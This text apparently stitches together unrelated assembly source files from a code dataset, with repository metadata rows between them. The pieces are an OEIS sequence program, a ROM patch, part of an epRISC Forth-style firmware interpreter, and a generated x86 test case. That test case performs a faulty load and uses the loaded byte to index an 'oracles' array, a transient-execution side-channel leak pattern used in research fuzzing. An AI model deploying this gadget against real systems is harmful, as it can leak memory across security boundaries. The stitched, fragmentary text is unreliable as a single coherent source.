; 1,35,776,13930,221151,3240825,44906926,597218720,7698198101,96837355615,1194615734676,14505367659510,173840151316651,2060770407338405,24205227062904026,282088240414000300,3265447176464616801,37582206965366853195,430364865022642734976,4906658791808049905090,55727054103551935698551,630781861205204615163985,7118658865468264878107526,80125773038129111705837880,899768233021619366408721901,10082913129359582045419534775,112781207516561207514542461676,1259415750517174947197391462670
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,20982 ; Expansion of 1/((1-9*x)*(1-10*x)*(1-11*x)).
sub $0,$1
mul $1,6
add $1,$0
lpe
mov $0,$1
| 41.777778 | 481 | 0.797872 |
bef158ef7d03e60171d536d7cecd0d2b3a07ffe3 | 744 | asm | Assembly | oeis/143/A143056.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/143/A143056.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/143/A143056.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A143056: a(n) = Re(b(n)) where b(n)=(1+i)*b(n-1)+b(n-2), with b(1)=0, b(2)=1.
; Submitted by Christian Krause
; 0,1,1,1,0,-3,-9,-19,-32,-43,-39,5,128,377,783,1305,1728,1513,-367,-5495,-15744,-32267,-53177,-69371,-58464,21693,235305,656909,1328896,2165489,2781855,2249009,-1161856,-10052911,-27385695,-54696687,-88125696,-111427091,-86075113,58797853,428575584,1140728485,2249936377,3583923733,4457814912,3275028585,-2867726673,-18235006903,-47477885888,-92495347015,-145652953551,-178115128423,-123761676928,136277900261,774439010919,1974516504117,3800238884640,5915321847181,7107171675209,4639349077021
mov $2,1
lpb $0
sub $0,1
add $1,$3
sub $3,$4
mov $4,$2
mov $2,$3
add $5,$4
mov $3,$5
add $4,$1
add $5,$2
lpe
mov $0,$5
| 41.333333 | 493 | 0.71371 |
04fbd571857688651b601a216369ab73148281d5 | 314 | asm | Assembly | src/G1/boot.asm | mzxrules/z64-dual | f3f7877875ee6400223a449a392fd4a74ac97c56 | [
"MIT"
] | null | null | null | src/G1/boot.asm | mzxrules/z64-dual | f3f7877875ee6400223a449a392fd4a74ac97c56 | [
"MIT"
] | null | null | null | src/G1/boot.asm | mzxrules/z64-dual | f3f7877875ee6400223a449a392fd4a74ac97c56 | [
"MIT"
] | null | null | null | .headersize(0x80080060 - G1_ADDR - 0x1060)
//Fix dmadata read
.org 0x80080D14
lui a0, hi(G_G1_DMADATA)
lui t6, hi(G_G1_DMADATA + G1_DMADATA_SIZE)
addiu t6, lo(G_G1_DMADATA + G1_DMADATA_SIZE)
addiu a0, a0, lo(G_G1_DMADATA)
//prevent osNmiBuffer from being wiped
.org 0x8008A8F0
nop | 26.166667 | 50 | 0.700637 |
86d01e8ce801700b91b0ea3d0fc066390b64c319 | 933 | asm | Assembly | oeis/273/A273409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/273/A273409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/273/A273409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A273409: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 678", based on the 5-celled von Neumann neighborhood.
; 1,6,11,28,37,66,87,152,177,254,291,404,453,602,687,944,1033,1302,1403,1708,1821,2162,2311,2760,2921,3406,3603,4196,4429,5130,5471,6496,6841,7878,8235,9308,9677,10786,11191,12408,12825,14078,14531,15892,16381,17850,18447,20240,20849,22678,23323,25260,25941,27986,28775,31144,31969,34446,35379,38180,39221,42346,43711,47808,49177,53286,54667,58812,60205,64386,65815,70104,71545,75870,77347,81780,83293,87834,89455,94320,95953,100854,102523,107532,109237,114354,116167,121608,123457,129006,130963
lpb $0
mov $2,$0
sub $0,1
seq $2,79317 ; Number of ON cells after n generations of cellular automaton on square grid in which cells which share exactly one edge with an ON cell change their state.
add $1,$2
lpe
add $1,1
mov $0,$1
| 77.75 | 495 | 0.778135 |
55b9e801bfc5317d4dfa7e047ebb5752b720d8eb | 4,949 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_1260.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x14db5, %rsi
lea addresses_D_ht+0x8555, %rdi
nop
nop
sub %r15, %r15
mov $126, %rcx
rep movsb
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x9195, %r12
clflush (%r12)
nop
nop
nop
nop
sub %r11, %r11
and $0xffffffffffffffc0, %r12
movaps (%r12), %xmm7
vpextrq $0, %xmm7, %rbx
and %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_D+0x18255, %rdi
nop
nop
nop
nop
xor $22494, %r8
mov $0x5152535455565758, %rcx
movq %rcx, (%rdi)
nop
and $49742, %rdi
// Store
lea addresses_normal+0xef55, %rcx
nop
nop
nop
nop
nop
and %r15, %r15
movl $0x51525354, (%rcx)
nop
sub %rdx, %rdx
// Faulty Load
lea addresses_US+0x11555, %rcx
nop
nop
nop
nop
add $46615, %rbx
mov (%rcx), %r9
lea oracles, %r8
and $0xff, %r9
shlq $12, %r9
mov (%r8,%r9,1), %r9
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 44.585586 | 2,999 | 0.66074 |
2dc134fb2dd9942c641af12ba91e163c81e52b61 | 333 | asm | Assembly | programs/oeis/145/A145816.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/145/A145816.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/145/A145816.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A145816: 1/4 of the number of islands of ones fitting in an n X n array symmetric under 90-degree rotation with all ones connected only either three adjacent vertically or three adjacent horizontally.
; 0,0,0,0,1,1,2,2,3,3,4,5,6,7,9,9,11,12,14,15,17,18
mov $3,$0
div $0,2
mov $2,$3
add $2,1
mul $0,$2
mov $1,3
add $1,$0
div $1,12
| 27.75 | 202 | 0.6997 |
7c759b699da2720d021594f5522de3b4eda7f28a | 225 | asm | Assembly | oeis/222/A222346.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/222/A222346.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/222/A222346.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A222346: Number of (n+2) X 1 arrays of occupancy after each element moves up to +-n places including 0.
; 8,33,124,460,1714,6433,24308,92376,352714,1352076
add $0,3
mov $1,2
mul $1,$0
bin $1,$0
div $1,2
sub $1,2
mov $0,$1
| 20.454545 | 105 | 0.68 |
4446c5b13dbbe194218c416b2d6d78220921af00 | 40,059 | asm | Assembly | software/application/ifirm.asm | JCLemme/eprisc | 05a792c1845982bf5571e2eed5e3f3cef845d2e2 | [
"MIT"
] | null | null | null | software/application/ifirm.asm | JCLemme/eprisc | 05a792c1845982bf5571e2eed5e3f3cef845d2e2 | [
"MIT"
] | null | null | null | software/application/ifirm.asm | JCLemme/eprisc | 05a792c1845982bf5571e2eed5e3f3cef845d2e2 | [
"MIT"
] | null | null | null | ; epRISC Interactive Firmware
; copyright 2018 by John C Lemme, jclemme (at) proportionallabs (dot) com
; Layout of the dictionary
; Word 0 Defined[0Empty,1Code,2Variable,3Constant],Precedence[0Norm,1Immd],Pad[2bit],NameSize[1byte]
; Word 1..n Packed name, zero padded
; Word n+1 Next definition
; Word n+2 Code pointer
; Word n+3 Data...n
; Layout of memory
; 0000 Interpreter
; 1000 Data stack
; 1200 Return stack
; 1400 Input buffer
; 1600 Word buffer
; 1700 Call stack
; 1800 Current base
; 1801 Current word address
; 1802 Current word length
; 1803 ?
; 1804 --Reserved--
; 2000 Beginning of dictionary
; 4000 Beginning of heap
; Layout of registers
; Xw Return stack pointer (RSP)
; Xw Data stack pointer (DSP)
; Xx Data DSP
; Xy Data DSP+1
;
; Yw Input address
; Yx Num of characters entered
; Yy Word address
; Yz Word that we're working with
; Zw Temporary (Temp)
; Zx Character in word
; =============
; Instruction Pointer and Entry
!ip h00004000
!def BUS_BASE_ADDRESS h2000
:entry brch.a a:main
; =============
; BIOS Routines
!include "../rom/bios_bus.asm"
!include "../rom/bios_uart_fast.asm"
!include "../rom/bios_spi.asm"
!include "../rom/bios_string.asm"
!include "../rom/bios_sdcard.asm"
!include "../rom/bios_debug.asm"
; =============
; Defines
!def DSP Xw
!def RSP Xx
!def StackWorkA Xy
!def StackWorkB Xz
!def InptAddr Yw
!def InptOffs Yx
!def DictAddr Yy
!def HeapAddr Yz
!def Temp Zw
!def AuxOutput Zy
!def Output Zz
!def MemBase 1800
!def MemLastAddr 1801
!def MemLastLen 1802
; =============
; Strings
!zone ifirm_str
:.welcome !str "epRISC Interactive Firmware v0.3\n\n"
:.okprompt !str "ok\n"
:.tmpmatch !str "match "
:.wordhit !str "Word "
!zone ifirm_errstr
:.setleft !str ">>>>"
:.setright !str "<<<<\n"
:.setstack !str "Current stack ([dsp-2], [dsp-1], [dsp]):\n"
:.generic !str "Generic/undefined error"
:.overflow !str "Stack overflow"
:.underflow !str "Stack underflow"
:.undefined !str "Undefined word"
:.lookup !data $ifirm_errstr.generic $ifirm_errstr.overflow $ifirm_errstr.underflow $ifirm_errstr.undefined
; =============
; Subroutine - Push Number to Data Stack
; Pushes a number to the data stack. Uses %AuxOutput for parameters - maybe bad design?
:sub_pushds stor.o s:%AuxOutput r:%DSP o:#h00 ; Save data to the stack
addr.v d:%DSP a:%DSP v:#h01 ; Increment DSP
rtrn.s ; Return
; =============
; Subroutine - Pop Number from Data Stack
; Pops a number from the data stack. Outputs to %Output
:sub_popsds subr.v d:%DSP a:%DSP v:#h01 ; Decrement DSP
cmpr.v a:%DSP v:#h10 s:#h04
brch.a c:%LST a:.underflowd ; Report underflow errors
load.o d:%Output r:%DSP o:#h00 ; Load data from the stack
rtrn.s ; Return
:.underflowd addr.v d:%DSP a:%DSP v:#h01 ; Fix stack
move.v d:%Temp v:#h02
push.r s:%Temp
call.s a:sub_callerror ; Report the failure
; =============
; Subroutine - Push Number to Return Stack
; Pushes a number to the return stack. Uses %AuxOutput for parameters - maybe bad design?
:sub_pushrs stor.o s:%AuxOutput r:%RSP o:#h00 ; Save data to the stack
addr.v d:%RSP a:%RSP v:#h01 ; Increment RSP
rtrn.s ; Return
; =============
; Subroutine - Pop Number from Return Stack
; Pops a number from the return stack. Outputs to %Output
:sub_popsrs subr.v d:%RSP a:%RSP v:#h01 ; Decrement RSP
cmpr.v a:%RSP v:#h12 s:#h04
brch.a c:%LST a:.underflowd ; Report underflow errors
load.o d:%Output r:%RSP o:#h00 ; Load data from the stack
rtrn.s ; Return
:.underflowr addr.v d:%RSP a:%RSP v:#h01 ; Fix stack
move.v d:%Temp v:#h02
push.r s:%Temp
call.s a:sub_callerror ; Report the failure
; =============
; Subroutine - Tokenizer
; Extracts the first token from a string, breaking on the first instance of the token or a null terminator
!zone ifirm_sub_tokenize
!def CurrAddr Yw
!def TokenBrk Yx
!def StrLen Zy
!def StrAddr Zz
:sub_tokenize push.r s:%CurrAddr
push.r s:%TokenBrk
subr.v d:%SP a:%SP v:#h03
pops.r d:%TokenBrk
pops.r d:%CurrAddr
addr.v d:%SP a:%SP v:#h05 ; Grab parameters from the stack
move.v d:%StrLen v:#h00 ; The string has no length right now
move.v d:%StrAddr v:#h00 ; And it doesn't exist in memory yet
:.leadloop load.o d:%Temp r:%CurrAddr ; Get the character
cmpr.r a:%Temp b:%TokenBrk ; Is it the token character?
brch.a c:%NEQ a:.subword ; If not, exit
cmpr.v a:%Temp v:#h00 ; Is it the null terminator?
brch.a c:%EQL a:.cleanup ; If so, there isn't a word in here at all and we should leave
addr.v d:%CurrAddr a:%CurrAddr v:#h01
brch.a a:.leadloop ; Else, keep on truckin
:.subword move.r d:%StrAddr s:%CurrAddr ; This character is the first character in the string
:.wordloop load.o d:%Temp r:%CurrAddr ; Get the character
cmpr.r a:%Temp b:%TokenBrk ; Is it the token character?
brch.a c:%EQL a:.tokenfound ; If so, exit
cmpr.v a:%Temp v:#h00 ; Is it the null terminator?
brch.a c:%EQL a:.tokenfound ; If so, behave like you found the token character
addr.v d:%CurrAddr a:%CurrAddr v:#h01
addr.v d:%StrLen a:%StrLen v:#h01 ; The string is ONE CHARACTER LONGER
brch.a a:.wordloop ; Else, keep on truckin
:.tokenfound ; I don't remember if we need to do something here, so I'll leave the label
:.cleanup pops.r d:%TokenBrk
pops.r d:%CurrAddr
rtrn.s ; Restore and exit
; =============
; Subroutine - Dictionary Lookup
; Finds a dictionary entry that matches a given name
!zone ifirm_sub_dictlookup
!def StrAddr Yw
!def StrLen Yx
!def DictAddr Yy
!def EntryLen Zy
!def EntryAddr Zz
:sub_dictlookup push.r s:%StrAddr
push.r s:%StrLen
subr.v d:%SP a:%SP v:#h03
pops.r d:%StrLen
pops.r d:%StrAddr
addr.v d:%SP a:%SP v:#h05 ; Grab parameters from the stack
move.v d:%DictAddr v:#h6000 ; Reset the dictionary pointer
move.v d:%HeapAddr v:#h7000 ; Reset the heap pointer
:.searchloop load.o d:%Temp r:%DictAddr ; Get the description word of the entry
cmpr.v d:%Temp a:%Temp v:#h00 ; Is the word zero?
brch.a c:%EQL a:.noentry ; If so, we ran out of entries
masr.v d:%Temp a:%Temp v:#hFF s:#h0A ; Extract the word length
cmpr.r a:%StrLen b:%Temp ; Do the word lengths match?
brch.a c:%NEQ a:.nolength ; If not, loop down a few
push.r s:%StrAddr
push.r s:%Temp
push.r s:%DictAddr ; This will save us from hard math later on
addr.v d:%DictAddr a:%DictAddr v:#h01 ; String begins one word after definition
:.nameloop push.r s:%DictAddr
push.r s:%StrAddr
load.o d:%DictAddr r:%DictAddr
load.o d:%StrAddr r:%StrAddr ; A particularly stupid way of saving a couple of registers
cmpr.r a:%DictAddr b:%StrAddr ; Match?
brch.a c:%NEQ a:.nomatch ; If not, abort
pops.r d:%StrAddr
pops.r d:%DictAddr
addr.v d:%StrAddr a:%StrAddr v:#h01
addr.v d:%DictAddr a:%DictAddr v:#h01
subr.v d:%Temp a:%Temp v:#h01 ; Advance da pointers
cmpr.v a:%Temp v:#h00
brch.a c:%NEQ a:.nameloop ; Loop back up if that word matched
:.match pops.r d:%EntryAddr
pops.r d:%EntryLen
pops.r d:%StrAddr ; Combo of cleanup and saving the dictionary entry
brch.a a:.cleanup
:.nomatch pops.r d:%StrAddr
pops.r d:%DictAddr ; Cleanup
pops.r d:%DictAddr
pops.r d:%Temp
pops.r d:%StrAddr ; Restore the variables we saved
:.nolength addr.v d:%Temp a:%Temp v:#h01
addr.r d:%DictAddr a:%DictAddr b:%Temp
load.o d:%DictAddr r:%DictAddr ; Get the address of the next entry
brch.a a:.searchloop
:.noentry move.v d:%EntryAddr v:#h00
move.v d:%EntryLen v:#h00 ; There was no match, so set everything to zero
:.cleanup pops.r d:%StrLen
pops.r d:%StrAddr
rtrn.s ; Restore and exit
; =============
; Subroutine - Number Converter
; Converts a Forth-style number into a value
!zone ifirm_sub_numconvert
!def StrAddr Yw
!def StrLen Yx
!def Base Yy
!def Status Zy
!def Value Zz
:sub_numconvert push.r s:%StrAddr
push.r s:%StrLen
push.r s:%Base
subr.v d:%SP a:%SP v:#h04
pops.r d:%StrLen
pops.r d:%StrAddr
addr.v d:%SP a:%SP v:#h06 ; Grab parameters from the stack
move.v d:%Base v:#h0A ; The default base is 10
move.v d:%Status v:#h00 ; Clear the status register
:.modloop load.o d:%Temp r:%StrAddr ; Load the character
:.chkpremature cmpr.v a:%Temp v:#h00 ; Is it empty?
brch.a c:%NEQ a:.chknegative ; If not, loop down
brch.a a:.numberfail ; Abort - there is no number here
:.chknegative cmpr.v a:%Temp v:#c'-' ; Is it negative?
brch.a c:%NEQ a:.chkpound ; If not, loop down
orbt.v d:%Status a:%Status v:#h01 ; Record that the value should be negative
brch.a a:.nextmod ; Move on
:.chkpound cmpr.v a:%Temp v:#c'#' ; Is it decimal?
brch.a c:%NEQ a:.chkampersand ; If not, loop down
move.v d:%Base v:#h0A ; Set the base to 10
brch.a a:.nextmod ; Move on
:.chkampersand cmpr.v a:%Temp v:#c'&' ; Is it decimal?
brch.a c:%NEQ a:.chkdollar ; If not, loop down
move.v d:%Base v:#h0A ; Set the base to 10
brch.a a:.nextmod ; Move on
:.chkdollar cmpr.v a:%Temp v:#c'$' ; Is it hex?
brch.a c:%NEQ a:.chkpercent ; If not, loop down
move.v d:%Base v:#h10 ; Set the base to 16
brch.a a:.nextmod ; Move on
:.chkpercent cmpr.v a:%Temp v:#c'%' ; Is it binary?
brch.a c:%NEQ a:.itsanumber ; If not, loop down
move.v d:%Base v:#h02 ; Set the base to 2
:.nextmod addr.v d:%StrAddr a:%StrAddr v:#h01
subr.v d:%StrLen a:%StrLen v:#h01 ; Next character please
cmpr.v a:%StrLen v:#h00 ; Are we out of characters?
brch.a c:%NEQ a:.modloop ; If not, keep looking
:.itsanumber move.v d:%Value v:#h00 ; Clear the accumulator
:.numberloop load.o d:%Temp r:%StrAddr ; Load the character
cmpr.v a:%Temp v:#h00 ; Is it empty?
brch.a c:%NEQ a:.notfinished ; If not, loop down
brch.a a:.finish ; Return the number since we're done here
:.notfinished orbt.v d:%Temp a:%Temp v:#h20
subr.v d:%Temp a:%Temp v:#h30 ; Force lowercase and shrink down to number range
cmpr.v a:%Temp v:#h0A ; Is the digit part of the alphabet?
brch.a c:%LST a:.checkrange ; If not, skip this next bit
subr.v d:%Temp a:%Temp v:#h27 ; Drop the ASCII lowercase alphabet range (starting at 0x61) to 0xA
:.checkrange cmpr.r a:%Temp b:%Base ; Is the number outside of the acceptable range for the base?
brch.a c:%GET a:.numberfail ; If so, abort
push.r s:%Base ; Make a backup of the base
push.r s:%StrLen ; Need another register
move.v d:%StrLen v:#h00 ; (Our temporary accumulator)
:.multiply addr.r d:%StrLen a:%StrLen b:%Value ; Add another value
subr.v d:%Base a:%Base v:#h01 ; This method doesn't work for base == 0, but that doesn't exist so whatever
cmpr.v a:%Base v:#h00 ; Done?
brch.a c:%NEQ a:.multiply ; If not, better keep going
move.r d:%Value s:%StrLen ; Save the multiplied value
pops.r d:%StrLen
pops.r d:%Base ; And restore working registers
addr.r d:%Value a:%Value b:%Temp ; Add the last place
:.nextdigit addr.v d:%StrAddr a:%StrAddr v:#h01
subr.v d:%StrLen a:%StrLen v:#h01 ; Next character please
cmpr.v a:%StrLen v:#h00 ; Are we out of characters?
brch.a c:%NEQ a:.numberloop ; If not, keep looking
:.finish cmpr.v a:%Status v:#h01 ; Is the number negative?
brch.a c:%NEQ a:.finishstat ; If not, skip the next thing
notb.r d:%Value a:%Value
addr.v d:%Value a:%Value v:#h01 ; Make it negative
:.finishstat move.v d:%Status v:#h00 ; Clear the status register
brch.a a:.cleanup ; And exit
:.numberfail move.v d:%Status v:#hFF ; A positive status indicates that the string isn't a number
:.cleanup pops.r d:%Base
pops.r d:%StrLen
pops.r d:%StrAddr
rtrn.s ; Restore and exit
; =============
; Subroutine - Number Output
; Outputs a number in the current base.
!zone ifirm_sub_numoutput
!def Value Yw
!def Base Yy
!def Divided Zy
!def Records Zz
:sub_numoutput push.r s:%Value
push.r s:%Base
subr.v d:%SP a:%SP v:#h03
pops.r d:%Value
addr.v d:%SP a:%SP v:#h04 ; Grab parameters from the stack
move.v d:%Base v:#h0A ; Just decimal for right now
move.v d:%Records v:#h00 ; Print no characters yet
cmpr.v a:%Value v:#h00 ; Is the value negative?
brch.a c:%GET a:.calcloop ; If not, keep on goin
notb.r d:%Value a:%Value
addr.v d:%Value a:%Value v:#h01 ; Make positive
move.v d:%Records v:#c'-'
push.r s:%Records
move.v d:%Records v:#h01 ; Quick and dirty negative hack
:.calcloop move.v d:%Divided v:#h00 ; Clear divided count
:.divideloop cmpr.r a:%Value b:%Base ; Is there a remainder?
brch.a c:%LST a:.exitdivide ; Not yet? Then keep it up
addr.v d:%Divided a:%Divided v:#h01 ; Record the new number
subr.r d:%Value a:%Value b:%Base ; Subtract out a base
brch.a a:.divideloop ; Loop it
:.exitdivide push.r s:%Value ; Save the digit
move.r d:%Value s:%Divided ; Keep the transfer
addr.v d:%Records a:%Records v:#h01 ; And note how many digits we kept
cmpr.v a:%Value v:#h00 ; Are there more digits to copy?
brch.a c:%NEQ a:.calcloop ; If so, keep chuggin
:.printloop pops.r d:%Value ; Get the digit back
addr.v d:%Value a:%Value v:#h30 ; Push it up to ASCII digit range
cmpr.v a:%Value v:#h3A ; Does this need to be a letter?
brch.a c:%LST a:.display ; If not, don't make it a letter
addr.v d:%Value a:%Value v:#h07 ; Push it a little higher to ASCII uppercase range
:.display push.r s:%Records
push.r s:%Value
call.s a:ser_send
pops.r d:%Value
pops.r d:%Records ; Print the character, keeping in mind that Records will be zapped
subr.v d:%Records a:%Records v:#h01
cmpr.v a:%Records v:#h00 ; We done?
brch.a c:%NEQ a:.printloop ; If not, keep going
move.v d:%Value v:#h20
push.r s:%Value
call.s a:ser_send
pops.r d:%Value ; Print the extra space
:.cleanup pops.r d:%Base
pops.r d:%Value
rtrn.s ; Restore and exit
; =============
; Subroutine - Error Display
; Displays an error message and the current top of stack. Returns to interpreter, aborting execution.
!zone ifirm_sub_callerror
!def WordAddr Yw
!def WordLen Yx
!def TypeError Yy
!def AuxOutput Zy
!def Output Zz
:sub_callerror subr.v d:%SP a:%SP v:#h01
pops.r d:%TypeError
addr.v d:%SP a:%SP v:#h02 ; Grab parameters from the stack. No need to save them
move.v d:%Temp v:#h0A
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print '\n'
; STEP ONE - Print the error that was thrown
move.v d:%Temp v:#h3A
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print ':'
move.v d:%Temp v:#h20
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print ' '
push.r s:%TypeError
call.s a:sub_numoutput
pops.r d:%TypeError ; Print the error number
move.v d:%Temp v:#h3A
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print ':'
move.v d:%Temp v:#h20
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print ' '
move.v d:%Temp v:ifirm_errstr.lookup
addr.r d:%Temp a:%Temp b:%TypeError
load.o d:%Temp r:%Temp ; Grab address of string
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; And print the error
move.v d:%Temp v:#h0A
push.r s:%Temp
call.s a:ser_send
